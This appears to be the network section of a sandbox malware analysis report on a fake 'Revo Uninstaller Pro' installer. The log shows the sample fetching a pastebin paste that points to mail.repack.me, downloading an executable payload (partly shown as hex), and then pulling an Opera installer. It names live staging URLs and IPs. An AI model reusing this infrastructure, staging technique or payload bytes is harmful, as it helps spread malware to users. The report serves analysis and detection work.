Dec 9, 2024 17:53:09.946621895 CET	1.1.1.1	192.168.2.4	0xe2a7	No error (0)	pastebin.com		172.67.19.24	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:53:09.946621895 CET	1.1.1.1	192.168.2.4	0xe2a7	No error (0)	pastebin.com		104.20.4.235	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:53:12.211512089 CET	1.1.1.1	192.168.2.4	0xe681	No error (0)	mail.repack.me		194.87.189.43	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:00.652529001 CET	1.1.1.1	192.168.2.4	0xd202	No error (0)	net.geo.opera.com	na.net.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:00.652529001 CET	1.1.1.1	192.168.2.4	0xd202	No error (0)	na.net.opera.com	trn.lb.opera.technology		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:00.652529001 CET	1.1.1.1	192.168.2.4	0xd202	No error (0)	trn.lb.opera.technology		107.167.96.30	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:00.652529001 CET	1.1.1.1	192.168.2.4	0xd202	No error (0)	trn.lb.opera.technology		107.167.96.31	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:10.616790056 CET	1.1.1.1	192.168.2.4	0xe527	No error (0)	autoupdate.geo.opera.com	na-autoupdate.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:10.616790056 CET	1.1.1.1	192.168.2.4	0xe527	No error (0)	na-autoupdate.opera.com		107.167.96.38	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:10.616790056 CET	1.1.1.1	192.168.2.4	0xe527	No error (0)	na-autoupdate.opera.com		107.167.96.39	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:10.626662970 CET	1.1.1.1	192.168.2.4	0xe362	No error (0)	autoupdate.opera.com	autoupdate.geo.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:10.626662970 CET	1.1.1.1	192.168.2.4	0xe362	No error (0)	autoupdate.geo.opera.com	na-autoupdate.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:10.626662970 CET	1.1.1.1	192.168.2.4	0xe362	No error (0)	na-autoupdate.opera.com		107.167.96.39	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:10.626662970 CET	1.1.1.1	192.168.2.4	0xe362	No error (0)	na-autoupdate.opera.com		107.167.96.38	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:11.222439051 CET	1.1.1.1	192.168.2.4	0xe2e5	No error (0)	desktop-netinstaller-sub.osp.opera.software	submit-target.osp.opera.software		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:11.222439051 CET	1.1.1.1	192.168.2.4	0xe2e5	No error (0)	submit-target.osp.opera.software	submit.geo.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:11.222439051 CET	1.1.1.1	192.168.2.4	0xe2e5	No error (0)	submit.geo.opera.com	submit-trn.osp.opera.software		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:11.222439051 CET	1.1.1.1	192.168.2.4	0xe2e5	No error (0)	submit-trn.osp.opera.software		107.167.125.189	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:13.310333014 CET	1.1.1.1	192.168.2.4	0x6b93	No error (0)	features.opera-api2.com	features-2.geo.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:13.310333014 CET	1.1.1.1	192.168.2.4	0x6b93	No error (0)	features-2.geo.opera.com	ca-features.opera-api2.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:13.310333014 CET	1.1.1.1	192.168.2.4	0x6b93	No error (0)	ca-features.opera-api2.com	trn.lb.opera.technology		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:13.310333014 CET	1.1.1.1	192.168.2.4	0x6b93	No error (0)	trn.lb.opera.technology		107.167.96.30	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:13.310333014 CET	1.1.1.1	192.168.2.4	0x6b93	No error (0)	trn.lb.opera.technology		107.167.96.31	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:13.612904072 CET	1.1.1.1	192.168.2.4	0xf0f9	No error (0)	download.opera.com	download.geo.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:13.612904072 CET	1.1.1.1	192.168.2.4	0xf0f9	No error (0)	download.geo.opera.com	na-download.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 17:54:13.612904072 CET	1.1.1.1	192.168.2.4	0xf0f9	No error (0)	na-download.opera.com		107.167.96.36	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:13.612904072 CET	1.1.1.1	192.168.2.4	0xf0f9	No error (0)	na-download.opera.com		107.167.96.37	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:15.465362072 CET	1.1.1.1	192.168.2.4	0x71df	No error (0)	download3.operacdn.com	v2.download3.operacdn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

mail.repack.me

net.geo.opera.com

autoupdate.geo.opera.com

autoupdate.opera.com

desktop-netinstaller-sub.osp.opera.software

features.opera-api2.com

download.opera.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	104.20.3.235	443	7324	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:53:11 UTC	133	OUT	GET /raw/vkwZzU9B HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: pastebin.com Connection: Keep-Alive Cache-Control: no-cache
2024-12-09 16:53:11 UTC	397	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 16:53:11 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 818 Last-Modified: Mon, 09 Dec 2024 16:39:33 GMT Server: cloudflare CF-RAY: 8ef6828cbafe439c-EWR
2024-12-09 16:53:11 UTC	41	IN	Data Raw: 32 33 0d 0a 68 74 74 70 73 3a 2f 2f 6d 61 69 6c 2e 72 65 70 61 63 6b 2e 6d 65 2f 74 73 6a 74 6d 66 64 6d 2e 70 6b 67 0d 0a Data Ascii: 23https://mail.repack.me/tsjtmfdm.pkg
2024-12-09 16:53:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	194.87.189.43	443	7324	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:53:13 UTC	135	OUT	GET /tsjtmfdm.pkg HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: mail.repack.me Connection: Keep-Alive Cache-Control: no-cache
2024-12-09 16:53:14 UTC	283	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 09 Dec 2024 16:53:13 GMT Content-Type: application/octet-stream Content-Length: 419886 Last-Modified: Mon, 28 Oct 2024 17:07:02 GMT Connection: close ETag: "671fc4b6-6682e" Alt-Svc: h3=":443"; ma=86400 Accept-Ranges: bytes
2024-12-09 16:53:14 UTC	16101	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 62 60 f7 f7 26 01 99 a4 26 01 99 a4 26 01 99 a4 92 9d 68 a4 2b 01 99 a4 92 9d 6a a4 ab 01 99 a4 92 9d 6b a4 3e 01 99 a4 b8 a1 5e a4 24 01 99 a4 1d 5f 9a a5 30 01 99 a4 1d 5f 9d a5 35 01 99 a4 1d 5f 9c a5 0a 01 99 a4 2f 79 1a a4 2c 01 99 a4 2f 79 0a a4 23 01 99 a4 26 01 98 a4 2c 00 99 a4 b1 5f 9c a5 17 01 99 a4 b1 5f 99 a5 27 01 99 a4 b4 5f 66 a4 27 01 99 a4 b1 5f 9b a5 27 01 99 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b`&&&h+jk>^$_0_5_/y,/y#&,__'_f'_'
2024-12-09 16:53:14 UTC	16384	IN	Data Raw: 6e 44 24 24 66 0f 62 f8 66 0f 70 e9 93 66 0f 6e 4c 24 18 66 0f 62 ca 66 0f 62 f9 66 0f fe 7c 24 50 66 0f 6e 4c 24 14 66 0f fe fd 66 0f ef df 66 0f 6e d7 0f 28 c3 66 0f 62 ca 66 0f 72 d0 10 66 0f 72 f3 10 66 0f ef c3 66 0f 6e 5c 24 2c 0f 28 f0 0f 29 44 24 60 66 0f fe f4 0f 28 c6 66 0f ef c5 0f 28 e0 66 0f 72 d0 0c 66 0f 72 f4 14 66 0f ef e0 66 0f 6e 44 24 20 66 0f 62 d8 0f 28 44 24 60 66 0f 62 d9 66 0f fe df 66 0f fe dc 66 0f ef c3 0f 29 5c 24 50 0f 28 d8 66 0f 72 d0 08 66 0f 72 f3 18 66 0f ef d8 0f 28 d3 66 0f fe d6 0f 28 c2 66 0f ef c4 0f 28 c8 66 0f 72 d0 07 66 0f 72 f1 19 66 0f ef c8 66 0f 6e 7c 24 34 66 0f 6e 44 24 1c 66 0f 62 f8 66 0f 70 e9 39 66 0f 6e 4c 24 0c 66 0f 70 e2 4e 66 0f 6e 54 24 28 66 0f 62 ca 66 0f 62 f9 66 0f fe 7c 24 50 66 0f 70 db 93 Data Ascii: nD$$fbfpfnL$fbfbf\|$PfnL$fffn(fbfrfrffn\$,()D$`f(f(frfrffnD$ fb(D$`fbfff)\$P(frfrf(f(f(frfrffn\|$4fnD$fbfp9fnL$fpNfnT$(fbfbf\|$Pfp
2024-12-09 16:53:14 UTC	16384	IN	Data Raw: ff b0 d8 82 00 00 ff 36 e8 36 1c 00 00 8b 47 08 8d 8f a0 00 00 00 ff b0 d8 82 00 00 ff 36 e8 20 1c 00 00 8b 83 d8 32 00 00 8d 77 10 8b 8b dc 32 00 00 89 47 30 8d 85 a0 de ff ff 50 89 4f 34 8b ce 53 e8 50 3b 00 00 8a 55 f1 33 c9 8a 45 0b 88 57 39 88 47 3a 89 4d e4 89 4d d8 84 d2 0f 85 9d 00 00 00 38 8b c4 6c 00 00 0f 85 91 00 00 00 8b b3 e4 32 00 00 8b 93 e0 32 00 00 3b f1 7c 7e 7f 08 81 fa 40 42 0f 00 76 74 8b 8b d8 32 00 00 8b 83 dc 32 00 00 0f a4 c8 0a c1 e1 0a 3b c6 7c 58 7f 04 3b ca 76 52 33 c0 3b f0 7c 23 7f 08 81 fa 00 e1 f5 05 72 19 8b cb e8 3f 0b 00 00 3b 93 dc 32 00 00 7c 33 7f 08 3b 83 d8 32 00 00 76 29 ff b3 e4 32 00 00 8d 8d a0 de ff ff ff b3 e0 32 00 00 e8 0a 0d 00 00 8b 83 e0 32 00 00 89 45 e4 8b 83 e4 32 00 00 89 45 d8 8a 45 0b 33 c9 8d 77 Data Ascii: 66G6 2w2G0PO4SP;U3EW9G:MM8l22;\|~@Bvt22;\|X;vR3;\|#r?;2\|3;2v)222E2EE3w
2024-12-09 16:53:14 UTC	16384	IN	Data Raw: ff 83 3e 00 74 3c 6b 46 08 0c 50 ff 36 57 e8 88 1f 01 00 6b 46 08 0c 83 c4 0c 50 ff 36 e8 50 1e 00 00 ff 36 e8 40 60 01 00 59 eb 16 ff 36 e8 46 60 01 00 8b f8 59 59 85 ff 75 07 8b cd e8 13 a2 ff ff 89 3e 5f 5d 89 5e 08 5b 5e c2 04 00 55 8b ec 8b 55 0c 83 ec 0c 80 3a 00 53 56 57 8b d9 74 78 8b 45 08 52 89 45 f4 e8 4e ae 01 00 59 8b 4d 10 89 45 f8 8b 45 14 6a 22 5f 85 c0 74 32 8d 50 ff 8d 14 51 0f b7 32 83 fe 20 74 05 83 fe 09 75 0d 33 f6 66 89 32 83 ea 02 83 e8 01 75 e6 85 c0 74 0e 66 39 7c 41 fe 75 07 33 d2 66 89 54 41 fe 33 d2 66 89 14 41 66 39 39 75 03 83 c1 02 51 e8 e3 9a 01 00 51 51 8b fc 89 45 fc 8d 75 f4 8d 4b 28 a5 a5 a5 e8 e1 0a 00 00 5f 5e 5b 8b e5 5d c2 10 00 55 8d 6c 24 90 8b 45 78 81 ec a0 00 00 00 8b 08 8b 45 7c 56 57 6b f9 0c 8b 30 8d 45 d0 Data Ascii: >t<kFP6WkFP6P6@`Y6F`YYu>_]^[^UU:SVWtxERENYMEEj"_t2PQ2 tu3f2utf9\|Au3fTA3fAf99uQQQEuK(_^[]Ul$ExE\|VWk0E
2024-12-09 16:53:14 UTC	16384	IN	Data Raw: e8 93 9a 00 00 83 c4 0c e9 13 02 00 00 ff 36 68 30 30 43 00 68 38 30 43 00 eb e5 6a 00 e8 4e 92 00 00 59 e9 f8 01 00 00 ff 76 04 6a 7b e8 2b cf ff ff 50 ff 36 eb c9 ff 76 04 6a 7a eb ef ff 76 04 6a 7c eb e8 ff 76 04 68 ca 00 00 00 eb de 6a 70 e8 07 cf ff ff 50 6a 00 e8 3a 9a 00 00 59 eb c1 ff 76 04 6a 72 eb c5 ff 76 04 6a 78 eb be ff 36 68 85 00 00 00 e8 e2 ce ff ff 50 eb 80 ff 36 68 04 02 00 00 eb ef ff 76 04 68 84 00 00 00 eb 9c ff 76 04 68 83 00 00 00 eb 92 ff 76 08 ff 76 04 68 d2 00 00 00 e8 b2 ce ff ff 50 ff 36 e8 e5 99 00 00 83 c4 10 e9 65 01 00 00 ff 76 04 6a 79 e9 68 ff ff ff ff 76 04 68 dc 00 00 00 e9 5b ff ff ff ff 36 68 dd 00 00 00 eb 9b 83 f8 38 0f 8f ba 00 00 00 0f 84 ad 00 00 00 83 e8 17 83 f8 0b 0f 87 2a 01 00 00 ff 24 85 63 0d 41 00 68 de Data Ascii: 6h00Ch80CjNYvj{+P6vjzvj\|vhjpPj:Yvjrvjx6hP6hvhvhvvhP6evjyhvh[6h8*$cAh
2024-12-09 16:53:14 UTC	16384	IN	Data Raw: 02 8b c8 51 ff 74 24 14 8b 0e e8 d3 7d ff ff 01 be 58 4c 00 00 11 9e 5c 4c 00 00 5f 5e 5b c2 08 00 83 ec 0c 83 3d 7c 74 44 00 00 53 55 56 8b f1 57 89 74 24 10 75 51 83 64 24 14 00 33 ff 33 ed 8b 1c bd f0 d0 43 00 85 db 7e 37 33 c0 8b cf 40 d3 e0 53 89 44 24 1c 8d 85 78 75 44 00 57 50 e8 d7 9d 00 00 8b 44 24 20 83 c4 0c 8b 4c 24 18 89 04 ad 78 74 44 00 45 03 c1 83 eb 01 75 f1 89 44 24 14 47 83 ff 13 72 b8 80 be 50 4c 00 00 00 c6 86 60 4c 00 00 01 75 39 ff 74 24 20 8b ce e8 50 f7 ff ff 8b ce e8 04 f8 ff ff 84 c0 0f 84 7d 0c 00 00 80 7c 24 20 00 74 09 80 be 61 e6 00 00 00 75 0f 8b ce e8 a0 ea ff ff 84 c0 0f 84 5e 0c 00 00 8b 86 dc e6 00 00 8d 5e 04 21 46 7c 8b 03 3b 86 88 00 00 00 7e 0f 8b ce e8 c0 f7 ff ff 84 c0 0f 84 32 0c 00 00 8b 8e 80 00 00 00 8b c1 2b Data Ascii: Qt$}XL\L_^[=\|tDSUVWt$uQd$33C~73@SD$xuDWPD$ L$xtDEuD$GrPL`Lu9t$ P}\|$ tau^^!F\|;~2+
2024-12-09 16:53:14 UTC	16384	IN	Data Raw: 00 00 8b f8 89 7c 24 14 59 59 85 ff 75 07 8b c5 e9 e1 00 00 00 53 56 68 18 33 43 00 57 e8 77 c2 00 00 57 e8 26 a0 00 00 8b d8 83 c4 0c 33 c0 8b f5 66 39 45 00 0f 84 aa 00 00 00 6a 0d 59 6a 0a 5a 0f b7 06 66 3b c1 75 5c 66 39 56 02 75 56 6a 0d 5a 8d 4e 04 66 39 11 6a 0a 89 4c 24 14 5a 75 44 66 39 56 06 75 3e 52 8d 2c 5f 5f 66 39 7e 06 75 26 68 e4 32 43 00 55 e8 1c c2 00 00 8b 74 24 18 83 c3 04 59 59 6a 0d 8d 46 04 83 c5 08 59 89 44 24 10 66 39 08 74 d4 8b 7c 24 14 83 c6 02 8b 6c 24 1c eb 25 3b f5 76 26 6a 20 59 66 3b c1 75 1e 66 39 4e fe 75 18 8d 04 5f 68 88 33 43 00 50 e8 d4 c1 00 00 59 59 83 c3 06 6a 0a 5a eb 05 66 89 04 5f 43 83 c6 02 33 c0 6a 0d 59 66 39 06 0f 85 5c ff ff ff 33 c0 55 66 89 04 5f e8 78 9f 00 00 59 5e 8b c7 5b 5f 5d 59 59 c2 04 00 55 8b Data Ascii: \|$YYuSVh3CWwW&3f9EjYjZf;u\f9VuVjZNf9jL$ZuDf9Vu>R,__f9~u&h2CUt$YYjFYD$f9t\|$l$%;v&j Yf;uf9Nu_h3CPYYjZf_C3jYf9\3Uf_xY^[_]YYU
2024-12-09 16:53:14 UTC	16384	IN	Data Raw: 74 0e 6a 40 59 8b f3 bf 02 b6 44 00 f3 a5 66 a5 5b 5f 5e 8b e5 5d c2 10 00 55 8b ec b8 00 14 00 00 e8 35 0e 00 00 ff 75 0c e8 30 ee fe ff 50 33 c0 80 7d 08 54 0f 95 c0 48 25 7e 01 00 00 05 8d 00 00 00 50 e8 14 0f ff ff 50 8d 85 00 ec ff ff 68 00 0a 00 00 50 e8 01 73 fe ff 83 c4 10 8d 85 00 ec ff ff 50 6a 00 e8 3f f6 ff ff 8b e5 5d c2 08 00 55 8b ec b8 00 14 00 00 e8 dc 0d 00 00 80 7d 14 00 ff 75 08 74 04 6a 66 eb 02 6a 65 e8 ca 0e ff ff 50 8d 85 00 ec ff ff 68 00 0a 00 00 50 e8 b7 72 fe ff 83 c4 10 8d 85 00 ec ff ff 50 6a 65 ff 35 c8 75 44 00 ff 15 cc df 43 00 e8 e1 d7 ff ff 33 c0 38 05 d7 75 44 00 0f 94 c0 8b e5 5d c2 10 00 81 ec d4 00 00 00 53 56 57 6a 01 e8 81 31 ff ff 68 00 08 00 00 68 f8 75 44 00 e8 21 ca ff ff 8d 4c 24 1c e8 c0 ce ff ff b9 70 73 44 Data Ascii: tj@YDf[_^]U5u0P3}TH%~PPhPsPj?]U}utjfjePhPrPje5uDC38uD]SVWj1hhuD!L$psD
2024-12-09 16:53:14 UTC	16384	IN	Data Raw: 00 d4 08 42 00 ba fb 41 00 c1 ff 41 00 06 04 42 00 3d 08 42 00 22 fb 41 00 2a ff 41 00 6f 03 42 00 a5 07 42 00 8b fa 41 00 93 fe 41 00 d8 02 42 00 0e 07 42 00 f4 f9 41 00 fc fd 41 00 41 02 42 00 77 06 42 00 5d f9 41 00 65 fd 41 00 aa 01 42 00 e0 05 42 00 c6 f8 41 00 de fc 41 00 13 01 42 00 48 05 42 00 55 8b ec 83 ec 20 53 8b 5d 08 56 57 6a 08 59 be b8 42 43 00 8d 7d e0 f3 a5 8b 7d 0c 85 ff 74 1c f6 07 10 74 17 8b 0b 83 e9 04 51 8b 01 8b 70 20 8b ce 8b 78 18 e8 59 d7 ff ff ff d6 89 5d f8 89 7d fc 85 ff 74 0c f6 07 08 74 07 c7 45 f4 00 40 99 01 8d 45 f4 50 ff 75 f0 ff 75 e4 ff 75 e0 ff 15 94 21 43 00 5f 5e 5b 8b e5 5d c2 08 00 53 8b dc 51 51 83 e4 f0 83 c4 04 55 8b 6b 04 89 6c 24 04 8b ec 8b 4b 08 83 ec 20 83 3d a0 fe 45 00 01 66 8b 53 0c 7c 46 0f b7 c2 66 Data Ascii: BAAB=B"A*AoBBAABBAAABwB]AeABBAABHBU S]VWjYBC}}ttQp xY]}ttE@EPuuu!C_^[]SQQUkl$K =EfS\|Ff
2024-12-09 16:53:14 UTC	16384	IN	Data Raw: 83 4e 18 ff eb 18 ff 76 0c 8d 46 18 50 ff 76 38 8d 8e 48 04 00 00 ff 76 34 e8 a0 00 00 00 8b 4d fc b0 01 5f 5e 33 cd 5b e8 f1 96 ff ff 8b e5 5d c2 04 00 8b ff 55 8b ec 51 51 53 56 8b f1 57 80 7e 3c 00 75 56 8b 46 38 85 c0 7e 4f 8b 5e 34 33 ff 85 c0 74 5e 33 c0 66 89 45 fc 8b 46 08 50 8b 00 ff 70 04 8d 45 fc 53 50 e8 ff 33 00 00 83 c4 10 89 45 f8 85 c0 7e 1d 8d 4e 18 51 ff 75 fc 8d 8e 48 04 00 00 e8 bd fe ff ff 03 5d f8 47 3b 7e 38 75 c2 eb 1e 83 4e 18 ff eb 18 ff 76 0c 8d 46 18 50 ff 76 38 8d 8e 48 04 00 00 ff 76 34 e8 9e 00 00 00 5f 5e b0 01 5b 8b e5 5d c2 04 00 8b ff 55 8b ec 51 51 56 57 8b 7d 14 8b c1 89 45 f8 8b 0f 83 27 00 8b 00 89 4d fc 8b 70 04 39 70 08 75 18 80 78 0c 00 74 0a 8b 4d 10 8b 45 0c 01 01 eb 4a 8b 45 10 83 08 ff eb 45 2b 70 08 53 8b 5d Data Ascii: NvFPv8Hv4M_^3[]UQQSVW~<uVF8~O^43t^3fEFPpESP3E~NQuH]G;~8uNvFPv8Hv4_^[]UQQVW}E'Mp9puxtMEJEE+pS]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49824	107.167.96.30	443	4420	C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:54:02 UTC	196	OUT	GET /opera/stable/windows?utm_source=DWNLST&utm_medium=apb&utm_campaign=r10 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: net.geo.opera.com Connection: Keep-Alive Cache-Control: no-cache
2024-12-09 16:54:02 UTC	322	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 16:54:02 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Content-Disposition: attachment; filename=OperaSetup.exe ETag: "5a1105f1c25a60b128d45ec03041bf48" Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-12-09 16:54:02 UTC	16062	IN	Data Raw: 31 66 36 31 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4e 0c c9 d7 0a 6d a7 84 0a 6d a7 84 0a 6d a7 84 41 15 a4 85 07 6d a7 84 41 15 a2 85 ba 6d a7 84 c8 ec a2 85 5f 6d a7 84 c8 ec a3 85 1e 6d a7 84 c8 ec a4 85 1d 6d a7 84 41 15 a3 85 1c 6d a7 84 41 15 a6 85 03 6d a7 84 0a 6d a6 84 c1 6d a7 84 f9 ef af 85 5c 6d a7 84 f9 ef 58 84 0b 6d a7 84 0a 6d 30 84 0b 6d a7 84 f9 ef a5 85 0b 6d a7 84 52 69 63 68 0a 6d a7 84 00 Data Ascii: 1f61MZ@!L!This program cannot be run in DOS mode.$NmmmAmAm_mmmAmAmmm\mXmm0mmRichm
2024-12-09 16:54:02 UTC	16384	IN	Data Raw: 05 2b d8 2b f8 46 8b 45 ec 83 fe 40 72 be 83 ee 40 83 fe 04 0f 82 c3 00 00 00 8b ce d1 e9 49 83 fe 0e 73 18 8b 45 fc 83 e6 01 83 ce 02 d3 e6 8d 04 70 05 00 f3 ff ff 89 45 fc eb 3b 83 e9 04 81 fb 00 00 00 01 73 17 8b 45 08 3b 10 0f 83 9d 00 00 00 0f b6 02 c1 e7 08 c1 e3 08 0b f8 42 d1 eb 8b c7 2b c3 c1 e8 1f 48 23 c3 2b f8 83 e9 01 75 ce 8b 45 fc 6a 04 59 33 f6 46 89 75 e8 8b 75 f4 0f b7 04 70 8b 75 e8 89 45 e0 81 fb 00 00 00 01 73 13 8b 45 08 3b 10 73 56 0f b6 02 c1 e7 08 c1 e3 08 0b f8 42 8b c3 c1 e8 0b 0f af 45 e0 89 45 e0 8d 04 36 89 45 e4 8b 45 e0 3b f8 73 0a 01 75 f4 8b d8 8b 75 e4 eb 0a 8b 75 e4 2b d8 2b f8 01 75 f4 8b 45 fc 89 75 e8 83 e9 01 75 a0 8b 45 f0 8b 4d 08 81 fb 00 00 00 01 73 09 3b 11 72 04 33 c0 eb 03 42 89 11 5f 5e 5b c9 c2 04 00 55 8b Data Ascii: ++FE@r@IsEpE;sE;B+H#+uEjY3FuupuEsE;sVBEE6EE;suuu++uEuuEMs;r3B_^[U
2024-12-09 16:54:02 UTC	16384	IN	Data Raw: e0 dc ff ff 8d 4d e8 e8 40 e6 ff ff 33 db 8d 4d e8 89 5d fc e8 2d fe ff ff 84 c0 74 54 68 c4 40 44 00 8d 4d e8 e8 e6 e8 ff ff 8d 4d dc e8 0d e3 ff ff 51 8d 45 dc c6 45 fc 01 50 8d 4d e8 e8 ad dc ff ff 8b c8 e8 64 fe ff ff 84 c0 74 1b 8d 45 e8 8b cf 50 e8 13 e7 ff ff 8d 45 dc 8b cf 50 e8 c8 f7 ff ff c6 06 01 b3 01 8d 4d dc e8 54 dc ff ff 8d 4d e8 e8 4c dc ff ff 8a c3 e8 c8 05 03 00 c2 04 00 56 8b f1 80 3e 00 75 04 b0 01 5e c3 8d 4e 04 e8 97 fa ff ff 8a c8 80 f1 01 88 0e 5e c3 55 8b ec 8b 51 04 2b 55 08 8b 01 8d 04 50 5d c2 04 00 6a 2a e8 49 dc ff ff c2 04 00 55 8b ec 8b 55 08 8b 09 e8 b3 e0 ff ff 0d 0a 35 30 30 30 0d 0a 5d c2 04 00 6a 02 e8 4c f5 ff ff c2 04 00 83 21 00 83 61 04 00 c3 83 09 ff 8b c1 c6 41 04 00 c3 e9 3a 09 00 00 55 8b ec ff 75 08 ff 31 ff Data Ascii: M@3M]-tTh@DMMQEEPMdtEPEPMTMLV>u^N^UQ+UP]j*IUU5000]jL!aA:Uu1
2024-12-09 16:54:02 UTC	16384	IN	Data Raw: e8 a6 da ff ff 8d 4e 38 e8 9e da ff ff 8d 4e 3c e8 f6 ee ff ff 8d 4e 44 e8 92 ff ff ff 8b c6 5e c3 56 8b f1 83 26 00 8d 4e 08 e8 67 0a 00 00 83 66 04 00 8d 4e 0c e8 fd fe ff ff 8d 4e 24 e8 53 0a 00 00 8d 4e 28 e8 4b 0a 00 00 8d 4e 2c e8 43 0a 00 00 8d 4e 30 e8 3b 0a 00 00 8d 4e 34 e8 33 0a 00 00 8d 4e 38 e8 2b 0a 00 00 8d 4e 3c 5e e9 20 b2 ff ff 8b d1 e8 5c 9e ff ff 8d 4a 0c e8 54 9e ff ff 8b c2 c3 56 8b f1 e8 93 ff ff ff 8d 8e e8 00 00 00 e8 fb b1 ff ff 8d 8e f0 00 00 00 e8 f2 09 00 00 8d 4e 58 e8 26 9e ff ff 8d 4e 64 e8 84 fe ff ff 8d 4e 7c e8 7c fe ff ff 8d 8e 94 00 00 00 e8 71 fe ff ff 8d 8e ac 00 00 00 e8 66 fe ff ff 8d 8e c4 00 00 00 e8 5b fe ff ff 8d 8e dc 00 00 00 5e e9 e9 9d ff ff 33 c0 89 41 08 89 41 0c 89 41 10 89 41 14 89 41 18 89 41 1c 89 41 Data Ascii: N8N<ND^V&NgfNN$SN(KN,CN0;N43N8+N<^ \JTVNX&NdN\|\|qf[^3AAAAAAA
2024-12-09 16:54:02 UTC	16384	IN	Data Raw: 33 ff e8 e1 5c ff ff 85 c0 74 15 8d 4e 68 e8 49 07 00 00 8d 4e 10 47 e8 cc 5c ff ff 3b f8 72 eb 5f 5e 33 c0 5b 5d c2 04 00 55 8b ec 53 56 57 8b 7d 08 8b d9 0f b6 47 09 8d 4b 44 50 e8 77 07 00 00 0f b6 47 08 8d 4b 50 50 e8 6a 07 00 00 8d 4b 74 e8 a7 06 00 00 8b 4f 0c 8b f0 57 89 4e 20 8d 4e 18 e8 fa bc ff ff 8d 4f 04 51 8d 4e 1c e8 ee bc ff ff 8a 43 5c 5f 88 46 68 5e 5b 5d c2 04 00 55 8b ec ff 75 08 83 c1 74 e8 d0 5d ff ff 83 c0 18 5d c2 04 00 56 57 8d 79 68 33 f6 8b cf e8 d4 5d ff ff 85 c0 74 1f 56 8b cf e8 af 5d ff ff 8b c8 e8 c0 25 00 00 85 c0 75 0e 8b cf 46 e8 b5 5d ff ff 3b f0 72 e1 33 c0 5f 5e c3 55 8b ec 80 7d 08 00 56 8b f1 57 8b 7e 28 75 69 53 57 8d 4e 74 e8 79 5d ff ff 83 78 20 01 75 58 8d 46 44 57 8b c8 e8 8b bc ff ff 80 38 00 74 48 57 8d 4e 2c Data Ascii: 3\tNhING\;r_^3[]USVW}GKDPwGKPPjKtOWN 